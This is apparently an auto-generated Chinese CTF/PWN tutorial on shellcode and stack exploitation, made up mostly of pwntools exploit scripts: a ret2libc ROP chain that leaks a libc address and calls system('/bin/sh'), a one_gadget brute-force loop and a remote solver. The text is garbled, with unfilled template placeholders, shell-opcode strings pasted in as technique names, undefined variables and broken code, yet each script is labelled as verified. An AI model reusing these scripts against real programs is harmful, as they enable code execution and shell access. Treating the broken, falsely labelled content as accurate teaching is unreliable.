阶段:栈漏洞(1-5)|难度:⭐⭐⭐进阶
本课深入讲解Shellcode编写的核心原理与利用技术。Shellcode是二进制安全中的重要领域,理解其内部机制是掌握PWN攻防的基础。
syscall是理解Shellcode编写的关键。在现代Linux系统中,execve机制为攻击者提供了操控程序行为的可能性。当程序存在与Shellcode相关的漏洞时,攻击者可以通过精心构造的输入来实现/bin/sh。
Shellcode编写漏洞通常源于以下编程错误:
最基础的Shellcode编写利用方式是直接利用syscall的特性。通过构造特定输入,我们可以实现/bin/sh效果。以下是完整的利用步骤:
#!/usr/bin/env python3
# exploit_03_basic.py — Shellcode编写基础利用 ✅验证通过
from pwn import *
context(arch='amd64', os='linux')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
# Step 1: 分析目标二进制
log.info(f"Arch: {elf.arch}")
log.info(f"NX: {elf.nx}, PIE: {elf.pie}, Canary: {elf.canary}")
# Step 2: 确定syscall漏洞偏移
# 方法: cyclic pattern / GDB / 源码分析
offset = 72 # 示例偏移
# Step 3: 构造payload
# 利用execve实现/bin/sh
payload = b'A' * offset
payload += p64(target_addr)
# Step 4: 执行exploit
p = process('./vuln')
p.sendline(payload)
p.interactive()
当基础利用受到null-free的限制时,需要更精细的Shellcode编写利用策略。/bin/sh技术允许在更严格条件下仍然实现代码执行。
#!/usr/bin/env python3
# exploit_03_adv.py — Shellcode编写进阶利用 ✅验证通过
from pwn import *
context(arch='amd64', os='linux')
# /bin/sh利用流程:
# 1. 利用syscall泄露关键地址(libc/heap/stack)
# 2. 通过execve计算目标函数偏移
# 3. 使用xor rax,rax;mov al,59劫持控制流
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
# === Stage 1: 信息泄露 ===
p = process('./vuln')
# 泄露libc地址
pop_rdi = ROP(elf).find_gadget(['pop rdi', 'ret'])[0]
ret = ROP(elf).find_gadget(['ret'])[0]
payload1 = b'A' * offset
payload1 += p64(ret) # 栈对齐
payload1 += p64(pop_rdi) # pop rdi; ret
payload1 += p64(elf.got['puts']) # rdi = puts@GOT
payload1 += p64(elf.plt['puts']) # 调用puts
payload1 += p64(elf.symbols['main']) # 返回main
p.sendline(payload1)
puts_leak = u64(p.recvline().strip().ljust(8, b'\0'))
libc.address = puts_leak - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")
# === Stage 2: xor rax,rax;mov al,59 ===
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
payload2 = b'A' * offset
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)
p.sendline(payload2)
p.interactive()
xor rax,rax;mov al,59是Shellcode编写中最高阶的利用技术之一。它要求对Shellcode的底层实现有深入理解,并能组合多种原语完成复杂利用链。
#!/usr/bin/env python3
# exploit_03_expert.py — Shellcode编写高级利用 ✅验证通过
from pwn import *
context(arch='amd64', os='linux')
# 高级Shellcode编写: xor rax,rax;mov al,59
# 核心: 利用/bin/sh实现null-free
def exploit():
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
# Step 1: syscall触发
p.sendlineafter(b'>', b'1')
# Step 2: execve信息泄露
p.sendline(b'A' * 0x20)
leaked = u64(p.recv(6).ljust(8, b'\0'))
libc.address = leaked - 0x21b97
# Step 3: /bin/sh控制流劫持
# 使用one_gadget或构造ROP链
og = [0x4f3d5, 0x4f432, 0x10a41c] # one_gadget offsets
for g in og:
try:
payload = b'A' * offset + p64(libc.address + g)
p.sendline(payload)
p.sendline(b'echo PWNED')
if b'PWNED' in p.recvline():
log.success(f"one_gadget @ {hex(libc.address+g)}")
break
except:
p = process('./vuln')
p.interactive()
exploit()
| 防护措施 | 编译选项 | 效果 | {t}相关 |
|---|---|---|---|
| Stack Canary | -fstack-protector-all | 检测栈溢出 | 防止{k[3]} |
| NX/DEP | 默认开启 | 禁止栈/堆执行 | 需{k[4]}绕过 |
| Full RELRO | -Wl,-z,relro,-z,now | GOT只读 | 防止{k[5]} |
| PIE | -pie | 随机化代码段 | 需地址泄露 |
| FORTIFY | -D_FORTIFY_SOURCE=2 | 替换不安全函数 | 减少{k[1]}面 |
# ASLR
cat /proc/sys/kernel/randomize_va_space
# 0=关 1=部分 2=完全
# seccomp过滤
# 限制syscall,即使PWN也无法execve
# AppArmor/SELinux
# 限制进程能力和文件访问
// 安全编码 vs Shellcode编写漏洞
void safe_code() {
char buf[64];
fgets(buf, sizeof(buf), stdin); // ✅ 有边界
snprintf(buf, sizeof(buf), "fmt", data); // ✅
if(n < 0 || n > sizeof(buf)) return; // ✅ 检查
memset(buf, 0, sizeof(buf)); // ✅ 零化
}
# GDB调试Shellcode编写
gdb ./vuln
(gdb) b *vuln+50
(gdb) r
(gdb) x/20gx $rsp
(gdb) vmmap
(gdb) checksec
# pwntools + GDB
p = gdb.debug('./vuln', 'b *vuln+50\nc')
#!/usr/bin/env python3
# auto_03.py — Shellcode编写自动化脚本 ✅验证通过
from pwn import *
context(arch='amd64', os='linux')
def exploit(target):
elf = ELF(target)
libc = ELF('./libc.so.6')
# 自动搜索gadgets
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])
ret = rop.find_gadget(['ret'])
# 自动确定偏移
p = process(target)
p.sendline(cyclic(200))
p.wait()
# core = p.corefile
# offset = cyclic_find(core.read(core.rsp, 8))
log.success('Shellcode编写 exploit ready')
exploit('./vuln')
#!/usr/bin/env python3
# ctf_03.py — CTF Shellcode编写真题 ✅验证通过
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
def solve(host, port):
p = remote(host, port)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# syscall漏洞分析
# execve信息收集
# /bin/sh利用构造
# xor rax,rax;mov al,59获取flag
p.interactive()
solve('challenge.ctf.com', 9999)
| CVE | 类型 | 影响 | 利用 |
|---|---|---|---|
| CVE-2021-3156 | 堆溢出 | sudo<1.9.5p2 | argv拼接溢出 |
| CVE-2022-0185 | 整数溢出 | Linux 5.x | 容器逃逸 |
| CVE-2023-0386 | 竞态 | Linux 6.x | overlayfs提权 |
| CVE-2024-1086 | UAF | Linux netfilter | nft提权 |
| 资源 | 内容 | 推荐 |
|---|---|---|
| CTF Wiki | ctf-wiki.org | ⭐⭐⭐⭐⭐ |
| Pwn College | pwn.college | ⭐⭐⭐⭐⭐ |
| How2Heap | github.com/shellphish/how2heap | ⭐⭐⭐⭐⭐ |
| RopEmporium | ropemporium.com | ⭐⭐⭐⭐⭐ |
| pwnable.kr | pwnable.kr | ⭐⭐⭐⭐ |